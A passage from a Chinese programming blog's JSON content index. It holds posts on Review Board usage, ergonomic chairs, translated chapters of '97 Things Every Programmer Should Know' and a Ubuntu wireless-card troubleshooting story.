–branch=YOUR_REPOSITORY_PATH\n当然你也可以不指定–branch，不过需要在你本地代码库拷贝目录下执行post-review。\n* 更新已存在的评审请求\n已经提交到Review Board的请求经过评审后，可能需要你再次修改代码并更新diff文件以继续评审。这时你可以通过指定已存在的Review Request id的方式更新已存在Request的diff，方法如下：\npost-review –server=http://xxx.xxx.xxx.xxx/reviews ….. –review-request-id=58\n注意，如果你的unix/linux账户下设置了http_proxy环境变量，那么在执行post-review之前需要将http_proxy设置为空，否则post-review的请求将被代理拦截而失败。\n部门里越来越多的人开始关注和使用Review Board了，好趋势，可喜可贺！\n","permalink":"https://tonybai.com/2011/03/04/some-experience-on-using-review-board/","summary":"\u003cp\u003e近期产品线研发体系正式将\u003ca href=\"http://tonybai.com/2009/09/19/review-board-installation-and-configuration/\"\u003eReview Board\u003c/a\u003e这款优秀的基于Web的\u003ca href=\"http://tonybai.com/2006/05/31/code-review-is-necessary/\"\u003e代码评审\u003c/a\u003e开源工具引入到开发过程中，作为产品线内各项目组进行代码评审的辅助工具。我对Review Board近两年多的关注总算没有白费，算是有了一个还算不错的结果。不过Review Board的正式使用并不代表一种结束，反而恰恰是一个新的开始。我们下一步要关注的是如何用好Review Board，让它真真正正地为改善产品质量和开发效率出力。\u003c/p\u003e","title":"Review Board的几点使用体会"},{"content":"作为程序员，每天最主要的姿势就是坐姿。随之而来的就是各种职业病：腰酸、背痛、颈椎疼，重者要么是腰间盘突出，要么是严重的颈椎病。每个程序员心里都清楚，避免这些职业病的最好方法就是工作期间记得多做些身体活动。但一旦进入工作状态后，我们就没有了时间概念，很难“自拔”。\n去年因意外闪了腰，医院大夫给出的诊断结果是小关节脱位。虽说并不严重，但是腰痛的那种感觉还是在我心里留下了阴影，所以今年春节后立即给自己制定了“腰背部关怀计划”，这第一条就是买一把人体工学座椅，让腰背部有一个良好的“栖息环境”。公司统一使用的就是那种最普通的电脑椅，坐时间长了实在是难受的很，特别是腰部感觉严重缺少支撑。\n市面上的人体工学座椅真是琳琅满目，一开始还真不知买哪种是好。不过我建议大家：买座椅一定要亲自去试，否则买回来的座椅很可能坐起来没有预想的那么舒服。我就先后逛了宜家、红星美凯龙等家具卖场以及三好街的电脑卖场，试坐过几十种电脑椅，甚至包括DXRacer专业游戏座椅，不过最终我还是选择了下面这款座椅：\n韩国DSP帝雅人体工学椅\n我在百利家居发现了这把椅子，初看做工很好，椅子感觉沉甸甸的，质量很不错，特别是椅子独特的双背专利设计，初次坐上去感觉后背很舒服，能够感觉到很强的背部支撑（可能对于女士来说有些偏硬）。另外椅子不复杂，功能实用，比较符合我的胃口。卖场要价很高，不划算，回家在淘宝上下了订单 – 800RMB包邮。\n从椅子发货到送到大约花费了一周时间，今天终于到货了。椅子的安装很简单，只需要将六脚底盘、气杆、椅面和椅背四部分连接起来即可，其中只有椅面和椅背之间需要拧两个螺丝，所需工具包装中自带-一个六角扳手，整个安装过程我估计不到15分钟。\n试坐了一个下午，感觉椅背坐久了有些热，另外就是椅子毕竟与原先的不同，需要身体适应一段时间，不过这把椅子对腰背部的支撑的确不赖。\n大家都知道买一个好床垫很重要，因为人们每天会有三分之一的时间躺在床上睡觉。对程序员来说，一个好座椅同床垫一样重要，因为我们每天可能花费不止八小时坐在椅子上，所以这是一笔很划算的买卖。\n最后务必牢记这一点：即使有了世界上最舒适的椅子也无法代替主动的身体活动与锻炼。\n","permalink":"https://tonybai.com/2011/03/01/buy-an-ergonomic-chair/","summary":"\u003cp\u003e作为程序员，每天最主要的姿势就是坐姿。随之而来的就是各种职业病：腰酸、背痛、颈椎疼，重者要么是腰间盘突出，要么是严重的颈椎病。每个程序员心里都清楚，避免这些职业病的最好方法就是工作期间记得多做些身体活动。但一旦进入工作状态后，我们就没有了时间概念，很难“自拔”。\u003c/p\u003e","title":"买了把人体工学座椅"},{"content":"本文翻译自\u0026quot;The Professional Programmer\u0026quot;，来自于《程序员应该知道的97件事》一书中的某个章节。\n什么是专业程序员？\n一个专业程序员的唯一的、最重要的特点是个人的责任。专业程序员会对他们的职业生涯负责，会对他们的估计负责，会对他们的计划承诺负责，会对他们的错误负责，会对他们的技艺负责。一个专业程序员绝不会将他们的责任推到其它人身上。\n·如果你是一名专业程序员，你将对你自己的职业生涯负责。负责你的阅读和学习。负责让你紧跟上行业和技术最新发展的步伐。有太多的程序员认为培训他们是雇主的责任。对不起，这真是大错而特错。你想过医生会那样做吗？你想过律师会那样做吗？他们不会。他们会利用自己的时间并且自掏腰包对自己进行培训。他们花费大量业余时间阅读专业期刊或法院判决书。他们努力保持着与时俱进。我们也必须如此。你的雇佣合同明确地阐明了你和你的雇主之间关系。简而言之：他们承诺付给你薪水，你承诺做好工作。\n·专业程序员会对他们编写的代码负责。除非他们认为代码可以正常工作了，否则他们绝不会发布代码。用一分钟考虑一下。如果你愿意发布那些你尚不确信可以正常工作的代码，那你怎么可能自称是一个专业程序员呢？专业程序员们预计QA（译注：Quality Assurance，质量保证）人员无法从他们的代码中找出任何问题，因为他们发布的代码都是经过彻底地测试验证的。当然QA也会发现一些问题，毕竟人无完人。不过作为专业程序员，我们的态度必须是：不给QA留下任何问题。\n·专业程序员是富有团队精神的成员。他们不仅要对自己的工作负责，他们还对整个团队的成果物负责。他们相互帮助，相互指导，相互学习，甚至在必要的时候代替对方工作。当一个队友失败了，其他人会加进来。他们知道总有一天他们也会成为那个被代替工作的人。\n·专业程序员无法忍受庞大的Bug列表。一个庞大的bug列表是草率的。一个在问题跟踪数据库中有着成千上万个问题的系统是一场因草率而导致的悲剧。事实上，在大多数项目中，对问题跟踪系统的急切需求恰恰是一种粗心大意的病兆。只有规模超级庞大的系统才应该有这么冗长的bug列表，并且需要自动化地管理它们。\n·专业程序员不会制造混乱。他们以技艺为豪。他们保持代码整净，结构良好，易于阅读。他们遵循业界公认的标准和最佳实践。他们从不仓促行事。想像一下，假如你有一个灵魂出鞘的机会，你在体外观看一名医生给你进行心内直视手术。这位医生有一个最后期限（在字面意义上的）。他必须在心肺体外循环机损坏你太多的血液细胞之前完成手术。你想让他怎么做呢？你想让他像一个典型的软件开发者那样，仓促行事并制造一团混乱吗？你想让他说：“我一会儿会回来解决这个问题的”吗？或者你想让他仔细地遵守手术规范，不慌不忙，自信他的方法就是他能合理地采用的最好的方法。你想要混乱还是专业性？\n专业程序员是负责任的。他们对职业生涯负责，对保证代码的正常运行负责，对他们的技艺的质量负责。即使是最后期限迫近，他们也不会放弃原则。事实上，当压力增大时，专业程序员会更加坚定地坚持那些他们认为是正确的原则。\nBy Uncle Bob\n","permalink":"https://tonybai.com/2011/02/24/the-professional-programmer/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/The_Professional_Programmer\"\u003eThe Professional Programmer\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e什么是专业程序员？\u003c/p\u003e\n\u003cp\u003e一个专业程序员的唯一的、最重要的特点是个人的责任。专业程序员会对他们的职业生涯负责，会对他们的估计负责，会对他们的计划承诺负责，会对他们的错误负责，会对他们的技艺负责。一个专业程序员绝不会将他们的责任推到其它人身上。\u003c/p\u003e","title":"专业程序员"},{"content":"本文翻译自\u0026quot;Continuous Learning\u0026quot;，来自于《97 Things Every Programmer Should Know》一书中的某个章节。\n我们生活在一个引人入胜的时代。软件开发分布在全球各地，你知道那里有很多人可以胜任你的工作。你需要不断学习以保持你在市场上的竞争力。否则，你将变成一条恐龙，专心从事某一个工作，直到有一天，你不再被需要或者你的工作被外包给了其它更为廉价的开发人员。\n那么，你对此该怎么办？一些雇主非常慷慨地提供培训，拓宽你的技能。其它雇主则根本无法抽出时间或提供任何培训经费。为了谨慎起见，你需要为自己的教育负责。\n下面是一个让你保持持续学习的方法列表，其中许多可以在互联网上免费找到：\n·阅读书籍、杂志、博客，订阅twitter种子，浏览互联网站点。如果你想深入了解某一主题，可考虑加入一个邮件列表或新闻组。\n·如果你真想深入研究某种技术，抓住它 – 编写一些代码。\n·尽量找到一名导师与你一同工作，因为成为最牛的人将阻碍你的教育。虽然从任何一个人身上你都可以学到一些东西，但是从那些比你更聪明更有经验的人那里，你可以学到更多。如果你找不到导师，那么请继续往下看。\n·使用虚拟导师。在互联网上找到那些你真正喜欢的开发者和技术书籍的作者，阅读他们写的一切。订阅他们的博客。\n·去了解你使用的框架和库。熟悉它们的工作原理可以让你知道如何更好的使用它们。如果它们是开源的，那你真是幸运。使用调试器单步调试这些代码，弄清楚在幕后发生的事情，你将看到由那些真正聪明的人编写和评审的代码。\n·每当你犯了一个错误，修正了一个bug，或者遇到了一个问题时，设法真正理解所发生的事情。很可能其它人也遇到过相同的问题，并把它放在了互联网的某个角落里。这时Google就会变得十分有用了。\n·学习东西的一个真正的好方法就是去教它或者讨论它。当人们打算去听你的演讲并向你咨询问题时，你就会动力十足的去学习。尝试在公司组织一次午餐学习会，或用户组，或一个本地会议。\n·加入或启动一个学习小组或者一个你感兴趣的有关语言、技术或行为准则的本地用户组。\n·参加会议。如果你无法参加，许多会议都会将现场演讲视频免费放到网上供下载。\n·上下班路程过长？ 听播客吧。\n·曾经在代码库上运行过静态分析工具或者看到过IDE给出的警告吗？弄清楚他们报告的是什么以及为什么报告。\n·遵照《程序员修炼之道》一书中的建议并且每年学习一门新语言。至少学习一门新技术或工具。扩展技术视野将给你带来新的想法，你可以将这些想法用到当前的技术栈上。\n·不是你学到的所有一切都与技术相关。学习你正在从事的行业的领域知识，这样你可以更好的理解需求并且帮助解决业务问题。学会如何更加高效-如何更好的工作-是另外一个很好的选项。\n·回到学校\n拥有《黑客帝国》中尼奥所具有的能力将是多么好啊，只需简单地下载需要装入我们大脑的信息。但是我们没有这种能力，因此我们的学习需要一个时间保证。你无需醒着就去学习。每星期花一点时间就比什么不学要强。拥有（应该有）一个工作之外的生活。\n技术日新月异，不要落在后面。\nBy Clint Shank\n","permalink":"https://tonybai.com/2011/02/23/continous-learning/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Continuous_Learning\"\u003eContinuous Learning\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/97_Things_Every_Programmer_Should_Know\"\u003e97 Things Every Programmer Should Know\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e我们生活在一个引人入胜的时代。软件开发分布在全球各地，你知道那里有很多人可以胜任你的工作。你需要不断学习以保持你在市场上的竞争力。否则，你将变成一条恐龙，专心从事某一个工作，直到有一天，你不再被需要或者你的工作被外包给了其它更为廉价的开发人员。\u003c/p\u003e","title":"持续学习"},{"content":"本文翻译自\u0026quot;Code Reviews\u0026quot;，来自于《97 Things Every Programmer Should Know》一书中的某个章节。\n你应该做代码评审。为什么呢？因为代码评审可以提高代码质量并且降低缺陷比例。但进行代码评审未必是因为你想到的那些理由。\n由于之前有过一些代码评审的糟糕体验，因此许多程序员不喜欢代码评审。我曾经见过一些组织，它们要求所有代码在部署到生产环境之前必须通过一个正式的评审。多数情况下由架构师或一名主程序员进行这些评审，这种做法被戏称为“架构师评审一切”。这个要求被写在了他们的软件开发过程手册中，因此程序员必须遵守。可能有一些组织的确需要这样一个严格且正式的过程，不过大多数组织并不需要。在大多数组织中，这样做法只会适得其反。被评审者会感到他们就像是在等待一个假释裁决委员会的判决。而评审者既需要时间阅读源码，还需要时间跟上系统的最新进展，了解系统的全部细节。评审者很快就成为了这个过程的瓶颈。而这个过程也会很快地成为众矢之的并变得愈加糟糕。\n代码评审的目的应该是共享知识和建立共同的编码指南，而不是简单地纠正代码中的错误。与其它程序员们分享你的代码使集体代码拥有权成为可能。让任意一个项目成员与组内其它人一起浏览代码。评审代码时，你应该尝试学习并理解这些代码，而不是去找错误。\n代码评审过程中保持气氛和谐。确保意见是建设性的，而不是刻薄挖苦。为评审会议引入不同的评审角色，避免成员之间的年资影响代码评审。就角色举例来说，可以有一个专门关注文档的评审者，另外一个评审者重点关注异常，第三个人负责关注功能性。这种方法有助于在项目成员间分担评审负担。\n每周进行一次例行的代码评审。在评审会议室里花上几个小时进行评审。每次会议按照一个简单循环的方式轮换被评审者。记住项目组组员承担的评审角色在每次会议上也要轮换。代码评审时带上新手。他们也许经验不足，不过他们从大学带来的新鲜知识可以提供一种不同的看法。带上专家，他们有经验和知识。他们可以更快更准确地识别出容易出错的代码。如果项目组拥有代码规范的检查工具的话，代码评审过程将更加容易和顺畅。那样的话，在代码评审会议上大家永远不会讨论代码格式问题。\n让代码评审变得有趣也许才是代码评审成功的最为重要的因素。评审是关于人的评审。如果评审会议是痛苦且枯燥无味的，那么它很难激发出大家参与的热情。让它成为一种非正式的、以在项目组成员间共享知识为主要目的的代码评审吧。抛弃那些刻薄挖苦，用蛋糕或黄包餐（译注：全体成员一起参加的午餐）取而代之。\nBy Mattias Karlsson\n","permalink":"https://tonybai.com/2011/02/22/code-reviews/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Code_Reviews\"\u003eCode Reviews\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/97_Things_Every_Programmer_Should_Know\"\u003e97 Things Every Programmer Should Know\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e你应该做\u003ca href=\"http://tonybai.com/2006/05/31/code-review-is-necessary/\"\u003e代码评审\u003c/a\u003e。为什么呢？因为\u003ca href=\"http://tonybai.com/2006/05/31/code-review-is-necessary/\"\u003e代码评审\u003c/a\u003e可以提高代码质量并且降低缺陷比例。但进行代码评审未必是因为你想到的那些理由。\u003c/p\u003e\n\u003cp\u003e由于之前有过一些代码评审的糟糕体验，因此许多程序员不喜欢代码评审。我曾经见过一些组织，它们要求所有代码在部署到生产环境之前必须通过一个正式的评审。多数情况下由架构师或一名主程序员进行这些评审，这种做法被戏称为“架构师评审一切”。这个要求被写在了他们的软件开发过程手册中，因此程序员必须遵守。可能有一些组织的确需要这样一个严格且正式的过程，不过大多数组织并不需要。在大多数组织中，这样做法只会适得其反。被评审者会感到他们就像是在等待一个假释裁决委员会的判决。而评审者既需要时间阅读源码，还需要时间跟上系统的最新进展，了解系统的全部细节。评审者很快就成为了这个过程的瓶颈。而这个过程也会很快地成为众矢之的并变得愈加糟糕。\u003c/p\u003e","title":"代码评审"},{"content":"本文翻译自\u0026quot;Put Everything Under Version Control\u0026quot;，来自于《97 Things Every Programmer Should Know》一书中的某个章节。\n把项目中的一切都纳入版本控制。你需要的资源包括：免费的工具，比如Subversion，Git，Mercurial和CVS；充足的磁盘空间；便宜且性能强大的服务器；无处不在的网络；甚至包括项目托管服务。安装好版本控制软件后，为了将你的工作成果放入版本库中，你所要做仅仅是在一个包含你的代码的干净目录中敲入适当的命令。你只需要学习两个新操作：将你修改的代码提交到版本库中以及将版本库中的代码更新到你本地的工作版本中。\n一旦你的项目纳入版本控制，你就可以跟踪它的历史，看看谁写了哪些代码，并且可以通过一个唯一标识引用一个文件或某个项目版本。更重要的是你可以大胆地修改代码。不用担心删除掉那些为了以防万一而被注释掉的代码，因为老版本代码很安全地待在版本库中。你可以（且应该）用一个具有实际含义的符号给一个发布版本打上标签，以便你在将来可以很容易地重新找到客户那运行的软件的确切版本。你可以创建分支来进行并行开发：大多项目都有一个主开发分支以及一个或多个用于积极支持发布版本的维护分支。\n版本控制系统减少了开发人员之间的冲突。当程序员各自工作在独立的软件部件上时，他们的工作好似用了魔法一样被整合在了一起。当他们之间出现冲突时，版本控制系统会通知他们，并允许他们对冲突进行分类整理。通过一些其他设置，系统会将每次变更提交通知给所有程序员，让大家共同了解到当前项目的进展情况。\n当你创建完项目后，不要吝啬：将你的所有项目资产都纳入版本管理。除了源代码外，还包括文档，各种工具，构建脚本，测试用例，美工作品，甚至是库。全部项目被安全地塞入（定期备份的）版本库后，硬盘损坏或丢失数据所带来的损失将减到最小。在一个新机器上配置开发环境只需简单地将项目代码从版本库中检出即可。这将大大简化软件在不同平台上的发布、构建和测试过程：在每台主机上一个简单的更新命令就可以确保你获得的是当前最新的软件版本。\n现在你已经看到使用版本控制系统的好处了，遵循下面几条规则会使你和你的团队更加高效：\n· 每次提交一个逻辑变更。在一次提交中包含许多变更会导致后续很难弄清楚其中每个逻辑变更所对应的内容。这点在你进行项目范围内的重构或风格改变时尤其重要，一起提交多个变更很容易掩盖其他修改。\n· 每个提交都要包含一个解释性的信息。至少简要地描述一下你修改了什么。不过如果你还想记录这次修改的理由，那这里就是存储它的最好地方。\n· 最后，避免提交那些会破坏项目构建的代码，否则你就会成为这个项目中不受欢迎的人。\n版本控制系统下的生活是如此美好，一些疏忽和过失都无法轻易地破坏它。\nBy Diomidis Spinellis\n","permalink":"https://tonybai.com/2011/02/18/put-everything-under-version-control/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Put_Everything_Under_Version_Control\"\u003ePut Everything Under Version Control\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/97_Things_Every_Programmer_Should_Know\"\u003e97 Things Every Programmer Should Know\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e把项目中的一切都纳入版本控制。你需要的资源包括：免费的工具，比如\u003ca href=\"http://tonybai.com/2010/08/07/use-svn-pre-commit-hook/\"\u003eSubversion\u003c/a\u003e，\u003ca href=\"http://tonybai.com/2011/01/20/try-git-svn/\"\u003eGit\u003c/a\u003e，Mercurial和CVS；充足的磁盘空间；便宜且性能强大的服务器；无处不在的网络；甚至包括项目托管服务。安装好版本控制软件后，为了将你的工作成果放入版本库中，你所要做仅仅是在一个包含你的代码的干净目录中敲入适当的命令。你只需要学习两个新操作：将你修改的代码提交到版本库中以及将版本库中的代码更新到你本地的工作版本中。\u003c/p\u003e","title":"把一切都纳入版本控制"},{"content":"本文翻译自”Automate Your Coding Standard“，来自于《97 Things Every Programmer Should Know》一书中的某个章节。\n也许你也曾经经历过。在一个项目开始阶段，每个人都有着很多良好的意愿，我们称这些意愿为“新项目决议”。多数情况下，这些决议都会被记在文档中。关于代码的那些决议最终成了项目的编码标准。在项目启动会议上，主程序员带着大家一起浏览一遍文档，最好的情况下，大家都同意在项目中遵照这些标准。不过一旦项目开始，这些良好的意愿就被丢弃了，每次一个。当最终项目交付的代码看起来一团糟的时候，似乎没有人知道项目是怎么变成这个样子的。\n什么时候出的问题呢？也许就在项目启动会上。一些项目组成员不专心，其他一些组员不理解。更糟糕的是一些组员反对这个标准，并已经规划好了它们自己的编码标准。最后，只有一些人理解并赞同使用这个标准。但是，当项目压力太大时，这些人也不得不放松要求。毕竟格式良好的代码并不能帮你从急需更多功能的客户那里赚取更多的分数。此外，如果没有自动化，遵循一个编码标准将是一件非常枯燥的任务。试试手工缩进一个格式凌乱的类你就会体会到这点。\n但是如果这确是一个问题，那么我们为什么还要在一开始制定一个编码标准呢？其中的一个原因就是按照统一格式格式化代码可以避免一些人拥有使用私人方式格式化的代码片断。我们要阻止开发人员使用特定的反模式（译注：反模式是指能导致问题的典型做法），这样可以避免产生一些bug。总之，一个编码标准可以使得你在项目中工作更容易，并从头到尾的保持开发效率。由此可见，每个人也都应该就制定编码标准这件事达成一致。如果一个开发人员在某一行用三个空格缩进，而在另一行中用四个空格缩进，那么即使这么做了也无能为力。\n现在有很多工具可以用来生成代码质量报告、记录并维护编码标准。不过这不是全部的解决方案。编码标准应该被自动化，并且在可能的情况下强制执行。下面是几个例子：\n· 确保将代码格式化作为构建过程的一个环节，这样大家每次编译代码时就会自动执行代码格式化。\n· 使用静态代码分析工具扫描代码中有害的反模式，一旦扫描到，立刻中止构建。\n· 学会配置这些工具，这样你就可以扫描你自己的特定项目的反模式了。\n· 不要只度量测试覆盖率，还要自动检查度量的结果。同样如果测试覆盖率的度量结果过低，则中止构建。\n尽可能地对每件你认为重要的事情采用上述方法。 你无法自动化所有你真正关心的事情。对于你无法自动标示或修正的事情，考虑将它们作为自动化的编码标准的补充参考，不过要接受这个现实：你和你的同事可能不会努力地遵守它们。\n最后，编码标准应该是动态的而不是静态的。随着项目的进行，项目的需求会发生变化。开始阶段看似聪明的想法，几个月后就未必是这样了。\nBy Filip van Laenen\n","permalink":"https://tonybai.com/2011/02/16/automate-your-coding-standard/","summary":"\u003cp\u003e本文翻译自”\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Automate_Your_Coding_Standard\"\u003eAutomate Your Coding Standard\u003c/a\u003e“，来自于《\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/97_Things_Every_Programmer_Should_Know\"\u003e97 Things Every Programmer Should Know\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e也许你也曾经经历过。在一个项目开始阶段，每个人都有着很多良好的意愿，我们称这些意愿为“新项目决议”。多数情况下，这些决议都会被记在文档中。关于代码的那些决议最终成了项目的编码标准。在项目启动会议上，主程序员带着大家一起浏览一遍文档，最好的情况下，大家都同意在项目中遵照这些标准。不过一旦项目开始，这些良好的意愿就被丢弃了，每次一个。当最终项目交付的代码看起来一团糟的时候，似乎没有人知道项目是怎么变成这个样子的。\u003c/p\u003e","title":"将你的编码标准自动化"},{"content":"本文翻译自\u0026quot;Before You Refactor\u0026quot;，来自于《97 Things Every Programmer Should Know》一书中的某个章节。\n在某些时候，每个程序员都需要重构现有的代码。不过在你动手之前，请考虑一下下面的内容，因为这可以节省你和他人的大量时间（以及痛苦）。\n· 重构开始的最好方式就是对现有代码库及其测试代码进行总结和评估。\n这将帮助你理解现有代码的优点和不足，你也可以确保将优点保留住并避免错误。我们总是认为自己做的可以比现有系统更好…直到最终我们没能拿出更好的系统，甚至做得比系统的前身更糟，因为我们没有从现有系统的错误中汲取教训。\n· 抵御重写一切的诱惑\n最好尽可能多地重用现有代码。无论这些代码有多么丑陋，它们毕竟是经过评审和测试过的。扔掉旧代码，特别是那些运行在生产环境中的代码，意味着你扔掉了经过数月（或者数年）测试且久经沙场的代码，或许这些代码中还包含了一些你所不知道的特定的应对方案和Bugfix。如果你没有考虑到这些，你写的新代码最终就会出现出同样诡秘的bugs，而这些Bug在旧代码中都已经被Fixed了。这将浪费大量时间、精力以及多年来积累的知识。\n· 多次增量改变优于一次巨大改变\n增量改变可以让你更容易地通过诸如测试等反馈来评估对系统的影响。做出一次改变就导致上百个测试失败，这可不是什么好玩的事。这可能让你更加沮丧，压力更大，并会相应地导致错误的决策。三两个测试失败容易对付，并且也容易管理。\n· 每次迭代后，确保现有的测试通过\n如果现有的测试无法覆盖你所做出的改动，那就增加测试。不要不经思考就扔掉针对旧代码的测试。表面上其中的一些测试似乎不适合你新设计了，不过深入分析这个特殊的测试被添加进来原因是非常值得的。\n· 个人喜好和自大不应该成为障碍\n如果东西没有损坏，为什么要去修正它呢？ 代码风格或结构不满足你的个人喜好，这不是一个重构的正当理由。认为你会做的比之前的程序员更好同样也不是一个正当理由。\n· 新技术不足以成为重构的理由\n因为当前的代码落后于今天所有时髦的新技术，并且相信一门新语言或一个新框架可以使代码更优雅，这些都是最糟糕的重构理由。除非成本效益分析表明一门语言或一个框架将在功能性、可维护性以及生产力方面带来显著的提升，否则最好不要理会它。\n· 请记住：人会犯错误\n重构并不总是保证新代码一定就更好，或者与以前的代码一样好。我看过并且亲身参与过许多次失败的重构尝试。漂亮并没有错，犯错的是人。\nBy Rajith Attapattu\n","permalink":"https://tonybai.com/2011/02/15/before-you-refactor/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Before_You_Refactor\"\u003eBefore You Refactor\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/97_Things_Every_Programmer_Should_Know\"\u003e97 Things Every Programmer Should Know\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e在某些时候，每个程序员都需要\u003ca href=\"http://bigwhite.blogbus.com/logs/2156905.html\"\u003e重构\u003c/a\u003e现有的代码。不过在你动手之前，请考虑一下下面的内容，因为这可以节省你和他人的大量时间（以及痛苦）。\u003c/p\u003e\n\u003cp\u003e· 重构开始的最好方式就是对现有代码库及其测试代码进行总结和评估。\u003c/p\u003e","title":"在你重构之前"},{"content":"今天是中国人民的传统佳节农历大年三十儿-一个中华民族合家团员的日子。对于我和LP来说，今天更是一个特别的大年三十儿，因为这是我们的宝贝果果过得人生第一个农历新年。虽然果果还不是很懂得今天与平时有何不同，但相信果果从窗户上的红色福字剪纸、墙上的吉祥兔挂画以及阳台上的红灯也能感受到节日的气氛。\n下午吃完团圆饭，我们就给果果洗了一个热水澡，并给她穿上了喜庆的新衣服。这里果果通过爸爸的博客给大家拜年了：祝大家春节快乐、合家欢乐、万事如意。\n果果给您拜年了\n过年了，果果又有新玩具吃了^_^。\nBTW，今天还是我的母亲60岁的生日(这里的老一辈人喜欢按农历过生日)，很遗憾这个新年不能与她老人家一起过年，这里还是要送上祝福：祝妈妈生日快乐，身体健康，万事顺意。\n","permalink":"https://tonybai.com/2011/02/02/happy-spring-festival-from-my-daughter-2011/","summary":"\u003cp\u003e今天是中国人民的传统佳节农历大年三十儿-一个中华民族合家团员的日子。对于我和LP来说，今天更是一个特别的大年三十儿，因为这是我们的宝贝果果过得人生第一个农历新年。虽然果果还不是很懂得今天与平时有何不同，但相信果果从窗户上的红色福字剪纸、墙上的吉祥兔挂画以及阳台上的红灯也能感受到节日的气氛。\u003c/p\u003e","title":"果果给您拜年了"},{"content":"昨天晚饭后，打开本子继续工作，却发现无法连上无线路由器。最初以为路由器忘记打开了，可拿起路由器看了下，不是那么回事儿，路由器工作一切正常。我这才看到发现本子的无线网卡的指示灯不亮了，以前在这台x60本子上还从未出现此类情况，于是开始查找故障原因。\n故障查找过程是痛苦的，一次次燃起希望，又一次次被冷水破灭：\n* 最初怀疑是我误点击了Fn + F5而把无线网卡关了，于是我又无数次的点击Fn + F5，居然一点反应都没有；\n* 我的T400上有无线网卡的硬件开关，我将x60翻转了几周，也没找到无线开关位置；\n* Ubuntu上Network Manager面板中，无线网络显示已停用，且菜单项为灰色，无法选择，无法启用；\n* N次重启机器，无果；\n* 切换到Win7下，Win7设备管理器显示无线网卡设备正常，驱动正常；反复停用、启用无线，都无法使指示灯亮起；\n* 重启机器，F1进入BIOS，查看网络设备也是Enabled，遂将BIOS恢复成默认出厂设置；\n* 再尝试进入Win7，蓝屏，提示修复，修复若干次依旧无法进入Win7，无线指示灯依旧处于熄灭状态;\n* 继续回到Ubuntu下折腾，卸载Network Manager，更换网络管理软件，用T400下载WCID，并用U盘COPY到x60里安装(家里没有备网线)，WCID也没比自带的Network Manager好哪里去，依旧无法找到无线网卡；\n* 恢复Network Manager；\n* 用系统-\u0026gt;系统管理-\u0026gt;系统日志查看器查看系统日志，看到如下错误日志：\ndhclient: receive_packet failed on wlan0: Network is down\nwpa_supplicant[824]: Failed to initiate AP scan.\nNetworkManager: WiFi now disabled by radio killswitch\nNetworkManager: (wlan0): device state change: 8 -\u0026gt; 2 (reason 0)\nNetworkManager: (wlan0): deactivating device (reason: 0).\nNetworkManager: (wlan0): canceled DHCP transaction, dhcp client pid 2816\n* 根据网上资料，按如下操作：\n– sudo -i\n– echo 1 \u0026gt; /sys/class/rfkill/rfkill0/state\n– 重启机器\n问题依旧。\n* 安装rfkill，rfkill list看到：\n0: phy0: Wireless LAN\nSoft blocked: yes\nHard blocked: yes\n执行rfkill unblock all，得到：\n0: phy0: Wireless LAN\nSoft blocked: no\nHard blocked: yes\n依旧无法打开无线网卡\n* 被折腾近四个小时后上床睡觉！\n* 上班后联系设备维修部门；\n* 带着本子到维修部门查找故障原因，说明情况后，维修人员操作我的本子；\n* 重启机器，进入BIOS，将Config -\u0026gt; Serial ATA -\u0026gt; SATA Controller的MODE OPTION改为COMPATIBILITY，保存退出；\n* 选择Win7，居然不再蓝屏，正常进入Win7；\n* 在Win7加载进度条还在闪烁的时候，这位维修人员托起本子看了看，指着本子某个部位对我说：这是不是无线开关？\n* 他拨动无线开关，无线信号指示灯亮起；\n* 我无语！\n不得不承认：我的眼神儿太差了！\n","permalink":"https://tonybai.com/2011/01/28/terrible-eyes/","summary":"\u003cp\u003e昨天晚饭后，打开本子继续工作，却发现无法连上\u003ca href=\"http://tonybai.com/2008/03/08/configure-wireless-router/\"\u003e无线路由器\u003c/a\u003e。最初以为路由器忘记打开了，可拿起路由器看了下，不是那么回事儿，路由器工作一切正常。我这才看到发现本子的无线网卡的指示灯不亮了，以前在这台x60本子上还从未出现此类情况，于是开始查找故障原因。\u003c/p\u003e\n\u003cp\u003e故障查找过程是痛苦的，一次次燃起希望，又一次次被冷水破灭：\u003c/p\u003e\n\u003cp\u003e* 最初怀疑是我误点击了Fn + F5而把无线网卡关了，于是我又无数次的点击Fn + F5，居然一点反应都没有；\u003cbr\u003e\n* 我的\u003ca href=\"http://tonybai.com/2010/01/10/thinkpad-t400-is-available/\"\u003eT400\u003c/a\u003e上有无线网卡的硬件开关，我将x60翻转了几周，也没找到无线开关位置；\u003cbr\u003e\n* \u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003eUbuntu\u003c/a\u003e上Network Manager面板中，无线网络显示已停用，且菜单项为灰色，无法选择，无法启用；\u003cbr\u003e\n* N次重启机器，无果；\u003cbr\u003e\n* 